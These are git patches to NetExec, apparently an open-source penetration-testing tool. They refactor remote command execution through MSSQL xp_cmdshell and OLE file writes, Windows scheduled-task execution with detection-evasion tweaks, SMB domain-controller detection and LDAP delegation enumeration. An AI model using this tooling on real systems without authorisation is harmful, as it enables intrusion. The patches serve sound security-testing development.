tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 31a0bd7c..321aa9bb 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -1,6 +1,7 @@ ##### Check Generic Help Options netexec -h ##### SMB +netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares From 864b7aeed3fb0e3107edfaee7271b93c74243160 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sun, 3 Nov 2024 22:17:57 +0100 Subject: [PATCH 073/376] fix proto help --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index c4e67fcd..f232f622 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -19,7 +19,7 @@ def proto_args(parser, parents): smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") - smb_parser.add_argument("--generate-hosts-file", type=str, help="IP for the remote system to connect back to") + smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") From d4808ac9e990e61bb539851e151ed7b78fe2bf24 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Mon, 4 Nov 2024 14:41:43 +0100 Subject: [PATCH 074/376] check if target is dc --- nxc/protocols/smb.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 28d7d0a3..cdbd790e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -314,8 +314,18 @@ class smb(connection): self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") if self.args.generate_hosts_file: + from impacket.dcerpc.v5 import nrpc, epm + self.logger.debug("Performing authentication attempts...") + isdc = False + try: + epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") + isdc = True + except DCERPCException: + self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!") + with open(self.args.generate_hosts_file, "a+") as host_file: - host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain}\n") + host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n") + self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}") return self.host, self.hostname, self.targetDomain From fd378f66756a17ab352b9ba94b78d569208709d2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 6 Nov 2024 06:21:41 -0500 Subject: [PATCH 075/376] Removing unnecessary check --- nxc/protocols/smb.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f1069962..471bf805 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -905,11 +905,6 @@ class smb(connection): def dir(self): - # Seems defined by default, do we have to keep this check ? - if not self.args.share: - self.logger.error("You must define --share option") - return - search_path = ntpath.join(self.args.dir, "*") try: contents = self.conn.listPath(self.args.share, search_path) From 92c4f014a6ae0de3943fbda01336877428cd1e18 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 6 Nov 2024 06:24:36 -0500 Subject: [PATCH 076/376] Add ruff exception for function name "dir" --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 471bf805..fdf7ac35 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -904,7 +904,7 @@ class smb(connection): return permissions - def dir(self): + def dir(self): # noqa: A003 search_path = ntpath.join(self.args.dir, "*") try: contents = self.conn.listPath(self.args.share, search_path) From c012e04ecf413cb4b928eb3dee5f804268a65f5a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 6 Nov 2024 16:34:41 -0500 Subject: [PATCH 077/376] Add backup&restore options for mssql options, to keep the current state of the mssql config --- nxc/protocols/mssql/mssqlexec.py | 87 +++++++++++++++----------------- 1 file changed, 41 insertions(+), 46 deletions(-) diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index df4ff0b5..46fd7b8e 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -6,20 +6,14 @@ class MSSQLEXEC: self.mssql_conn = connection self.logger = logger + # Store the original state of options that have to be enabled/disabled in order to restore them later + self.backuped_options = {} + def execute(self, command): result = None - xp_cmdshell_was_enabled = False - try: - xp_cmdshell_was_enabled = self.is_xp_cmdshell_enabled() - if not xp_cmdshell_was_enabled: - self.logger.debug("xp_cmdshell is disabled, attempting to enable it.") - self.enable_xp_cmdshell() - else: - self.logger.debug("xp_cmdshell is already enabled.") - - except Exception as e: - self.logger.error(f"Error when checking/enabling xp_cmdshell: {e}") + self.backup_and_enable("advanced options") + self.backup_and_enable("xp_cmdshell") try: cmd = f"exec master..xp_cmdshell '{command}'" @@ -35,56 +29,57 @@ class MSSQLEXEC: except Exception as e: self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") - try: - if not xp_cmdshell_was_enabled: - self.logger.debug("xp_cmdshell was not enabled originally, attempting to disable it.") - self.disable_xp_cmdshell() - else: - self.logger.debug("xp_cmdshell was originally enabled, leaving it enabled.") - except Exception as e: - self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") - + self.restore("xp_cmdshell") + self.restore("advanced options") + return result - def is_xp_cmdshell_enabled(self): - query = "EXEC sp_configure 'xp_cmdshell';" - self.logger.debug(f"Checking if xp_cmdshell is enabled: {query}") + def restore(self, option): + try: + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") + except Exception as e: + self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") + + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled("show advanced options") + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' is already enabled.") + except Exception as e: + self.logger.error(f"Error when checking/enabling option '{option}': {e}") + + def is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + self.logger.debug(f"Checking if {option} is enabled: {query}") result = self.mssql_conn.sql_query(query) # Assuming the query returns a list of dictionaries with 'config_value' as the key - self.logger.debug(f"xp_cmdshell check result: {result}") + self.logger.debug(f"{option} check result: {result}") if result and result[0]["config_value"] == 1: return True return False - def enable_xp_cmdshell(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - - def disable_xp_cmdshell(self): - query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - - def enable_ole(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - - def disable_ole(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - def put_file(self, data, remote): try: - self.enable_ole() + self.backup_and_enable("advanced options") + self.backup_and_enable("Ole Automation Procedures") hexdata = data.hex() self.logger.debug(f"Hex data to write to file: {hexdata}") query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) - self.disable_ole() + self.restore("Ole Automation Procedures") + self.restore("advanced options") except Exception as e: self.logger.debug(f"Error uploading via mssqlexec: {e}") From ef0ca60c39f970f09f4387e048c478921efc1cd9 Mon Sep 17 00:00:00 2001 From: termanix Date: Fri, 8 Nov 2024 01:53:22 -0500 Subject: [PATCH 078/376] mustcommit variable remove --- nxc/protocols/ldap.py | 71 +++++++++++++++++++++---------------------- 1 file changed, 35 insertions(+), 36 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index c371179d..77027db0 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1135,7 +1135,6 @@ class ldap(connection): resp_parse = parse_result_attributes(resp) for item in resp_parse: - mustCommit = False sAMAccountName = "" userAccountControl = 0 delegation = "" @@ -1145,53 +1144,53 @@ class ldap(connection): try: sAMAccountName = item.get("sAMAccountName") - mustCommit = sAMAccountName is not None + if sAMAccountName: - userAccountControl = int(item.get("userAccountControl", 0)) - objectType = item.get("objectCategory") + userAccountControl = int(item.get("userAccountControl", 0)) + objectType = item.get("objectCategory") - if userAccountControl & UF_TRUSTED_FOR_DELEGATION: - delegation = "Unconstrained" - rightsTo.append("N/A") - elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: - delegation = "Constrained w/ Protocol Transition" - protocolTransition = 1 + if userAccountControl & UF_TRUSTED_FOR_DELEGATION: + delegation = "Unconstrained" + rightsTo.append("N/A") + elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = "Constrained w/ Protocol Transition" + protocolTransition = 1 - if item.get("msDS-AllowedToDelegateTo") is not None: - if protocolTransition == 0: - delegation = "Constrained" - rightsTo = item.get("msDS-AllowedToDelegateTo") + if item.get("msDS-AllowedToDelegateTo") is not None: + if protocolTransition == 0: + delegation = "Constrained" + rightsTo = item.get("msDS-AllowedToDelegateTo") - # Not an elif as an object could both have RBCD and another type of delegation - if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: - databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") - rbcdRights = [] - rbcdObjType = [] - sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) - if len(sd["Dacl"].aces) > 0: - search_filter = "(&(|" - for ace in sd["Dacl"].aces: - search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" - search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" - delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) - delegUserResp_parse = parse_result_attributes(delegUserResp) + # Not an elif as an object could both have RBCD and another type of delegation + if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: + databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") + rbcdRights = [] + rbcdObjType = [] + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) + if len(sd["Dacl"].aces) > 0: + search_filter = "(&(|" + for ace in sd["Dacl"].aces: + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + delegUserResp_parse = parse_result_attributes(delegUserResp) - for rbcd in delegUserResp_parse: - rbcdRights.append(str(rbcd.get("sAMAccountName"))) - rbcdObjType.append(str(rbcd.get("objectCategory"))) + for rbcd in delegUserResp_parse: + rbcdRights.append(str(rbcd.get("sAMAccountName"))) + rbcdObjType.append(str(rbcd.get("objectCategory"))) - if mustCommit: + if int(userAccountControl) & UF_ACCOUNTDISABLE: self.logger.debug(f"Bypassing disabled account {sAMAccountName}") else: for rights, objType in zip(rbcdRights, rbcdObjType): answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) - if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"] and mustCommit: - if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug(f"Bypassing disabled account {sAMAccountName}") - else: - answers.append([sAMAccountName, objectType, delegation, rightsTo]) + if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + self.logger.debug(f"Bypassing disabled account {sAMAccountName}") + else: + answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") From a70e3b8c6bb423efc701fd9c95e328c2edd9185a Mon Sep 17 00:00:00 2001 From: termanix Date: Sat, 9 Nov 2024 11:27:04 -0500 Subject: [PATCH 079/376] removed SERVER_TRUST_ACCOUNT for see rbcd to DCs --- nxc/protocols/ldap.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 77027db0..3a996d90 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1091,7 +1091,7 @@ class ldap(connection): UF_TRUSTED_FOR_DELEGATION = 0x80000 UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 UF_ACCOUNTDISABLE = 0x2 - SERVER_TRUST_ACCOUNT = 0x2000 + """SERVER_TRUST_ACCOUNT = 0x2000""" def printTable(items, header): colLen = [] @@ -1123,8 +1123,8 @@ class ldap(connection): search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})" f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" - f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))" - f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") + f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") + # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={SERVER_TRUST_ACCOUNT})))") To listing RBCD to DCs attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] @@ -1190,7 +1190,9 @@ class ldap(connection): if int(userAccountControl) & UF_ACCOUNTDISABLE: self.logger.debug(f"Bypassing disabled account {sAMAccountName}") else: - answers.append([sAMAccountName, objectType, delegation, rightsTo]) + # Check if the entry is invalid, i.e., for "Unconstrained N/A" + if not (delegation == "Unconstrained" and rightsTo == ["N/A"]): + answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: self.logger.error(f"Skipping item, cannot process due to error {e}") From ab579b3d45d643a4c6a2f564391c9031d173473b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 10 Nov 2024 18:26:11 -0500 Subject: [PATCH 080/376] Change Trigger to type RegistrationTrigger and add end boundary to prevent execution after some time if something fails, see #481 --- nxc/modules/schtask_as.py | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 8f0c707f..28196231 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -1,6 +1,6 @@ import os from time import sleep -from datetime import datetime +from datetime import datetime, timedelta from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import tsch, transport from nxc.helpers.misc import gen_random_string @@ -92,6 +92,8 @@ class NXCModule: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") exec_method.deleteartifact() + else: + self.logger.fail(f"Failed to execute command: {e}") class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): @@ -163,24 +165,20 @@ class TSCH_EXEC: def output_callback(self, data): self.__outputBuffer = data - def get_current_date(self): + def get_end_boundary(self): # Get current date and time - now = datetime.now() + end_boundary = datetime.now() + timedelta(minutes=5) # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" - return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] def gen_xml(self, command, fileless=False): xml = f""" - - {self.get_current_date()} - true - - 1 - - + + {self.get_end_boundary()} + From 94c2884c5fc7a7fa143ef70ffc0ce4a405b2683f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 10 Nov 2024 18:29:18 -0500 Subject: [PATCH 081/376] Update atexec.py to prevent detectino with hardcoded timestamp --- nxc/modules/schtask_as.py | 2 +- nxc/protocols/smb/atexec.py | 20 ++++++++++++-------- 2 files changed, 13 insertions(+), 9 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 28196231..5800ca3d 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -166,7 +166,7 @@ class TSCH_EXEC: self.__outputBuffer = data def get_end_boundary(self): - # Get current date and time + # Get current date and time + 5 minutes end_boundary = datetime.now() + timedelta(minutes=5) # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 8da57070..073947a0 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import gen_random_string from time import sleep +from datetime import datetime, timedelta class TSCH_EXEC: @@ -60,17 +61,20 @@ class TSCH_EXEC: def output_callback(self, data): self.__outputBuffer = data + def get_end_boundary(self): + # Get current date and time + 5 minutes + end_boundary = datetime.now() + timedelta(minutes=5) + + # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" + return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + def gen_xml(self, command, fileless=False): - xml = """ + xml = f""" - - 2015-07-15T20:35:13.2757294 - true - - 1 - - + + {self.get_end_boundary()} + From 64f0f78ed35ab214f5200c6dda2f98eef017b0b7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 11 Nov 2024 08:38:44 -0500 Subject: [PATCH 082/376] Remove useless code and formating --- nxc/modules/schtask_as.py | 14 +++++--------- nxc/protocols/smb/atexec.py | 7 ------- 2 files changed, 5 insertions(+), 16 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 5800ca3d..1b7878ee 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -95,6 +95,7 @@ class NXCModule: else: self.logger.fail(f"Failed to execute command: {e}") + class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None): self.__target = target @@ -156,7 +157,7 @@ class TSCH_EXEC: self.logger.display(f"Deleting task \\{tmpName}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") dce.disconnect() - + def execute(self, command, output=False): self.__retOutput = output self.execute_handler(command) @@ -245,7 +246,6 @@ class TSCH_EXEC: xml = self.gen_xml(command, fileless) self.logger.info(f"Task XML: {xml}") - taskCreated = False self.logger.info(f"Creating task \\{tmpName}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported @@ -270,10 +270,10 @@ class TSCH_EXEC: self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") return - else: - taskCreated = True + self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") + tsch.hSchRpcRun(dce, f"\\{tmpName}") + done = False while not done: self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") @@ -285,10 +285,6 @@ class TSCH_EXEC: self.logger.info(f"Deleting task \\{tmpName}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") - taskCreated = False - - if taskCreated is True: - tsch.hSchRpcDelete(dce, f"\\{tmpName}") if self.__retOutput: if fileless: diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 073947a0..ee597231 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -138,7 +138,6 @@ class TSCH_EXEC: xml = self.gen_xml(command, fileless) self.logger.debug(f"Task XML: {xml}") - taskCreated = False self.logger.info(f"Creating task \\{tmpName}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported @@ -151,8 +150,6 @@ class TSCH_EXEC: else: self.logger.fail(str(e)) return - else: - taskCreated = True self.logger.info(f"Running task \\{tmpName}") tsch.hSchRpcRun(dce, f"\\{tmpName}") @@ -168,10 +165,6 @@ class TSCH_EXEC: self.logger.info(f"Deleting task \\{tmpName}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") - taskCreated = False - - if taskCreated is True: - tsch.hSchRpcDelete(dce, f"\\{tmpName}") if self.__retOutput: if fileless: From 33f3f7c4491f4f2148e15d359066b2ee86081751 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 11 Nov 2024 08:59:10 -0500 Subject: [PATCH 083/376] Remove global variable --- nxc/modules/schtask_as.py | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 1b7878ee..96fe59d8 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -154,8 +154,8 @@ class TSCH_EXEC: dce.connect() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) - self.logger.display(f"Deleting task \\{tmpName}") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + self.logger.display(f"Deleting task \\{self.task}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") dce.disconnect() def execute(self, command, output=False): @@ -234,7 +234,6 @@ class TSCH_EXEC: return xml def execute_handler(self, command, fileless=False): - global tmpName dce = self.__rpctransport.get_dce_rpc() if self.__doKerberos: @@ -242,49 +241,50 @@ class TSCH_EXEC: dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - tmpName = gen_random_string(8) if self.task is None else self.task + # Give self.task a random string as name if not already specified + self.task = gen_random_string(8) if self.task is None else self.task xml = self.gen_xml(command, fileless) self.logger.info(f"Task XML: {xml}") - self.logger.info(f"Creating task \\{tmpName}") + self.logger.info(f"Creating task \\{self.task}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) - tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: if "ERROR_NONE_MAPPED" in str(e): self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if e.error_code and hex(e.error_code) == "0x80070005": self.logger.fail("Schtask_as: Create schedule task got blocked.") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): self.logger.fail(f"User {self.user} does not exist in the domain.") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if "ERROR_ALREADY_EXISTS" in str(e): self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") else: self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") return - self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") + self.logger.info(f"Running task \\{self.task}") + tsch.hSchRpcRun(dce, f"\\{self.task}") done = False while not done: - self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") - resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}") + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}") + resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}") if resp["pLastRuntime"]["wYear"] != 0: done = True else: sleep(2) - self.logger.info(f"Deleting task \\{tmpName}") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + self.logger.info(f"Deleting task \\{self.task}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if self.__retOutput: if fileless: From 14ccdfc63ce9407208cf43afd0d60aa04d6e526e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 11 Nov 2024 11:05:35 -0500 Subject: [PATCH 084/376] Suprress task deletion errors and ensure only one error message is printed --- nxc/modules/schtask_as.py | 33 ++++++++++++++++++++------------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 96fe59d8..61716e86 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -1,3 +1,4 @@ +import contextlib import os from time import sleep from datetime import datetime, timedelta @@ -91,7 +92,8 @@ class NXCModule: except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") - exec_method.deleteartifact() + with contextlib.suppress(Exception): + exec_method.deleteartifact() else: self.logger.fail(f"Failed to execute command: {e}") @@ -255,20 +257,25 @@ class TSCH_EXEC: except Exception as e: if "ERROR_NONE_MAPPED" in str(e): self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") - tsch.hSchRpcDelete(dce, f"\\{self.task}") - if e.error_code and hex(e.error_code) == "0x80070005": - self.logger.fail("Schtask_as: Create schedule task got blocked.") - tsch.hSchRpcDelete(dce, f"\\{self.task}") - if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif e.error_code and hex(e.error_code) == "0x80070005": + self.logger.fail("Create schedule task got blocked.") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): self.logger.fail(f"User {self.user} does not exist in the domain.") - tsch.hSchRpcDelete(dce, f"\\{self.task}") - if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): - tsch.hSchRpcDelete(dce, f"\\{self.task}") - if "ERROR_ALREADY_EXISTS" in str(e): - self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e): + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "ERROR_ALREADY_EXISTS" in str(e): + self.logger.fail(f"Create schedule task failed: {e}") else: - self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") - tsch.hSchRpcDelete(dce, f"\\{self.task}") + self.logger.fail(f"Create schedule task failed: {e}") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") return self.logger.info(f"Running task \\{self.task}") From 801420da75b1ac440a376034b2d224888b9dc08b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 11 Nov 2024 11:19:31 -0500 Subject: [PATCH 085/376] As the scheduled task now triggers on registration we remove manuel execution because this would try to run the task twice --- 